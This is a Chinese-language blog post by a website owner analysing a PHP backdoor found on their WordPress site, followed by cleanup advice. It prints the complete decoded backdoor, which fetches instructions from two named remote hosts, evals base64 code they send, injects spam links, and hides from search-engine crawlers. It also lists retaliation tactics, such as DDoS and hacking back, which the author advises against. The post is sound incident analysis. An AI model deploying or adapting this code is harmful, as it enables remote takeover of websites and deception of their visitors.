1.黑客向我網站植入了木馬:
黑客通過一切任何可能的辦法,在我的網站上植入了木馬,解碼後得到:
<?php
if (function_exists('get_url_999') === false) {
function get_url_999($url)
{
$content = "";
$content = @trycurl_999($url);
if ($content !== false)
return $content;
$content = @tryfile_999($url);
if ($content !== false)
return $content;
$content = @tryfopen_999($url);
if ($content !== false)
return $content;
$content = @tryfsockopen_999($url);
if ($content !== false)
return $content;
$content = @trysocket_999($url);
if ($content !== false)
return $content;
return '';
}
}
if (function_exists('trycurl_999') === false) {
function trycurl_999($url)
{
if (function_exists('curl_init') === false)
return false;
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_TIMEOUT, 5);
curl_setopt($ch, CURLOPT_HEADER, 0);
$result = curl_exec($ch);
curl_close($ch);
if ($result == "")
return false;
return $result;
}
}
if (function_exists('tryfile_999') === false) {
function tryfile_999($url)
{
if (function_exists('file') === false)
return false;
$inc = @file($url);
$buf = @implode('', $inc);
if ($buf == "")
return false;
return $buf;
}
}
if (function_exists('tryfopen_999') === false) {
function tryfopen_999($url)
{
if (function_exists('fopen') === false)
return false;
$buf = '';
$f = @fopen($url, 'r');
if ($f) {
while (! feof($f)) {
$buf .= fread($f, 10000);
}
fclose($f);
} else
return false;
if ($buf == "")
return false;
return $buf;
}
}
if (function_exists('tryfsockopen_999') === false) {
function tryfsockopen_999($url)
{
if (function_exists('fsockopen') === false)
return false;
$p = @parse_url($url);
$host = $p['host'];
$uri = $p['path'] . '?' . $p['query'];
$f = @fsockopen($host, 80, $errno, $errstr, 30);
if (! $f)
return false;
$request = "GET $uri HTTP/1.0\n";
$request .= "Host: $host\n\n";
fwrite($f, $request);
$buf = '';
while (! feof($f)) {
$buf .= fread($f, 10000);
}
fclose($f);
if ($buf == "")
return false;
list ($m, $buf) = explode(chr(13) . chr(10) . chr(13) . chr(10), $buf);
return $buf;
}
}
if (function_exists('trysocket_999') === false) {
function trysocket_999($url)
{
if (function_exists('socket_create') === false)
return false;
$p = @parse_url($url);
$host = $p['host'];
$uri = $p['path'] . '?' . $p['query'];
$ip1 = @gethostbyname($host);
$ip2 = @long2ip(@ip2long($ip1));
if ($ip1 != $ip2)
return false;
$sock = @socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
if (! @socket_connect($sock, $ip1, 80)) {
@socket_close($sock);
return false;
}
$request = "GET $uri HTTP/1.0\n";
$request .= "Host: $host\n\n";
socket_write($sock, $request);
$buf = '';
while ($t = socket_read($sock, 10000)) {
$buf .= $t;
}
@socket_close($sock);
if ($buf == "")
return false;
list ($m, $buf) = explode(chr(13) . chr(10) . chr(13) . chr(10), $buf);
return $buf;
}
}
if (function_exists('str_replace_first') === false) {
function str_replace_first($search, $replace, $subject)
{
$pos = stripos($subject, $search);
if ($pos !== false) {
$subject = substr_replace($subject, $replace, $pos, strlen($search));
}
return $subject;
}
}
if (function_exists('is_bot_ua') === false) {
function is_bot_ua()
{
$bot = 0;
$ua = @$_SERVER['HTTP_USER_AGENT'];
if (stristr($ua, "msnbot") || stristr($ua, "Yahoo"))
$bot = 1;
if (stristr($ua, "bingbot") || stristr($ua, "googlebot"))
$bot = 1;
return $bot;
}
}
if (function_exists('is_googlebot_ip') === false) {
function is_googlebot_ip()
{
$k = 0;
$ip = sprintf("%u", @ip2long(@$_SERVER["REMOTE_ADDR"]));
if (($ip >= 1123631104) && ($ip <= 1123639295))
$k = 1;
return $k;
}
}
if (function_exists('update_file_999') === false) {
function update_file_999()
{
$uri = "g.php?t=m&i=c49e6e5aa2acb188f54a38b960ae901d";
$actual1 = "http://cooperjsutf8.ru/" . $uri;
$actual2 = "http://nlinthewood.com/" . $uri;
$val = get_url_999($actual1);
if ($val == "")
$val = get_url_999($actual2);
if (strstr($val, "|||CODE|||")) {
list ($val, $code) = explode("|||CODE|||", $val);
eval(base64_decode($code));
}
return $val;
}
}
if (function_exists('callback_function_php') === false) {
function callback_function_php($p)
{
if (isset($_COOKIE['wordpress_test_cookie']) || isset($_COOKIE['wp-settings-1']) || isset($_COOKIE['wp-settings-time-1']) || (function_exists('is_user_logged_in') && is_user_logged_in())) {
return $p;
}
if (stristr($_SERVER['REQUEST_URI'], "xmlrpc.php")) {
return $p;
}
$x = '{options_names}';
$buf = "";
$update = 0;
$k = get_option($x);
if ($k === FALSE) {
$emp = array();
if (! add_option($x, $emp, '', 'no')) {
return $p;
}
$update = 1;
} else {
$ctime = time() - @$k[1];
if ($ctime > 3600 * 12) {
$update = 1;
}
}
if ($update) {
$val = update_file_999();
$k = array();
$k[0] = $val;
$k[1] = time();
if (! update_option($x, $k)) {
return $p;
}
}
if (! $k = get_option($x)) {
return $p;
}
$buf = @$k[0];
if ($buf == "") {
return $p;
}
list ($type, $text) = @explode("|||", $buf);
if ($text == "")
return $p;
$type += 0;
$bot = 0;
if ($type == 0) {
$buf1 = @base64_decode($text);
list ($tagjs, $js, $tagtext1, $text1) = @explode("|||", $buf1);
if (($tagjs != "") && (stristr($p, $tagjs))) {
$p = str_replace_first($tagjs, $js . " " . $tagjs, $p);
} else {
$p = $p . $js;
}
if (($tagtext1 != "") && (stristr($p, $tagtext1))) {
$p = str_replace_first($tagtext1, $text1 . " " . $tagtext1, $p);
} else {
$p = $p . $text1;
}
} else
if (($type == 1) || ($type == 2) || ($type == 3) || ($type == 4)) {
if (($type == 1) || ($type == 4)) {
$bot = is_bot_ua();
}
if (($type == 2) || ($type == 3)) {
$bot = is_googlebot_ip();
}
if ($bot) {
$buf1 = @base64_decode($text);
list ($tag, $text1) = @explode("|||", $buf1);
if (($tag != "") && ($text1 != "")) {
if (stristr($p, $tag)) {
if (($type == 3) || ($type == 4)) {
$p = @str_ireplace($tag, $tag . " " . $text1, $p);
} else {
$p = str_replace_first($tag, $tag . " " . $text1, $p);
}
} else {
$p = $p . $text1;
}
}
}
}
return $p;
}
}
if (function_exists('ob_start')) {
ob_start("callback_function_php");
}
2.木馬準備怎麼運作?
通過 一切 *_999 方法 向遠程通信,這2個是木馬黑客的操控連接(建議大牛向共產黨舉報他們):
http://nlinthewood.com/g.php?t=m&i=c49e6e5aa2acb188f54a38b960ae901d
http://cooperjsutf8.ru/g.php?t=m&i=c49e6e5aa2acb188f54a38b960ae901d
其中i的值是個加密串,個人猜測,這涉及到木馬集團的利益分成或者其他分門別類的用途。。
最後,獲得可變的木馬變種,如:
0|||PC9kaXY+fHx8fHx8PC9kaXY+fHx8PGEgaHJlZj0iaHR0cDovL2JsYWlyZ3JvdXB1c2EuY29tL2luc3RhbGxtZW50LWxvYW5zLWluLWhhbXB0b24tdmEvIj5pbnN0YWxsbWVudCBsb2FucyBpbiBoYW1wdG9uIHZhPC9hPiAK
經過工程師
LET解碼後,得到:
</div>||||||</div>|||<a href="http://blairgroupusa.com/installment-loans-in-hampton-va/">installment loans in hampton va</a>
就暫時分析到這,以後有時間待續。。
3.木馬的威力
1.通過上述,這樣,就向我網站上,加入了黑鏈!但是這不算什麼!
2.更可怕的是,我登陸後臺管理員後,木馬自動把我賬號密碼通知到了木馬集團。。。
3.更可怕的是,還有其他的,都受到他們遠程的控制,他們想幹嘛,就幹嘛,遠程操控肉雞!如:
- 1.格式化我的一切資料
- 2.偷取我的一切資料、數據庫、私密文件、商業數據。。。
- 3.分析我的一切行爲。。。
4.木馬的聰明之處:社工學發揮的淋漓盡致!SEO大師!
- 1.聰明的在我的網站副標題旁,增加了他們的黑鏈。。想在哪加就在哪加,想怎麼加就怎麼加。
- 2.可以判斷是否已經黑過我了,黑過,就放過這個文件,沒有黑過,就繼續黑。
- 3.通過遠程遙控的方式來選擇如何方式判斷是否爲蜘蛛爬蟲!如:可以選擇HTTP_USER_AGENT判斷是否google等蜘蛛,也可以通過IP範圍判斷是否爲google引擎。
- 4.通過上述後,如果是google等蜘蛛來訪問,木馬就躲避起來,不做任何破壞;如果是正常訪客,嘿嘿,木馬就開始使壞的工作了,這樣就躲避了google等蜘蛛的檢查!
- 5.所掛的馬在遠程,我們受害者根據黑鏈搜我們的文件找掛馬源頭,怎麼也找不到,因爲根本不在本地,在遠程。。
5.網站被黑了木馬光顧了,我該怎麼辦?
- 1.把整個網站下載到本地,立刻斷網!(沒有斷網,在網上修復,這也許是木馬久治不愈的原因。。)
- 2.更改後臺密碼!
- 3.升級網站!
- 4.用戶、後臺登陸地方增加驗證碼
- 5.檢測文件,把木馬及其殘留揪出來!這時也許不僅僅一家木馬光顧了你!(防止搞不乾淨。。)
- 6.如果可能的話,也要檢查數據庫!(防止搞不乾淨。。)
- 7.如果有條件的話,最好選擇獨立服務器,不要和別人共享IP那種的,黑客也許是通過別人的站點拿到服務器,殃及池魚所以我們才栽的!
- 8.實施關注你的網站,不要等到SEO收錄很久了,才發現!晚了!
6.作爲工程師的作者,你被掛馬後生氣麼?
我的確很生氣!
但是並不建議廣大受害同胞實施以下幾個步驟或者全部實施:
- 1.直接發郵件警告、更改他們主頁,友好的通知他們,讓他們老實點,不要同行自相殘殺!
- 2.QQ羣、淘寶、朋友。。尋找黑客高手,請“殺手”幫忙,重金之下,必有勇夫!
- 3.把他的站也黑了,也對他們進行掛馬,並廣而告之,這個站是有木馬後門,有需要的麼。。。以牙還牙!
- 4.把他們數據進行採集後,網絡共享到網盤、貼吧。。。發揮你的想象吧。。
- 5.對他們進行ddos攻擊,讓他們網站無法正常服務!
- 6.自認倒黴,你就從了吧,做個良民,狗咬你一口,你不能咬狗一口。。安慰自己吧!
7.PHP高手拓展之網絡採集篇
可以這麼說,這個黑客,把我的2篇文章,學習的非常好,運用的也很高明!
fsockopen socket 無服務器限制 支持header、cookie、refer 掛馬遠程
PHP 採集大全 採集原理分析 禁用採集 各種採集方法詳解 採集的攻於防 採集性能 應用協議分析
如果對Socket(不是fsockopen)不熟悉的同學,可以看看我這篇文章: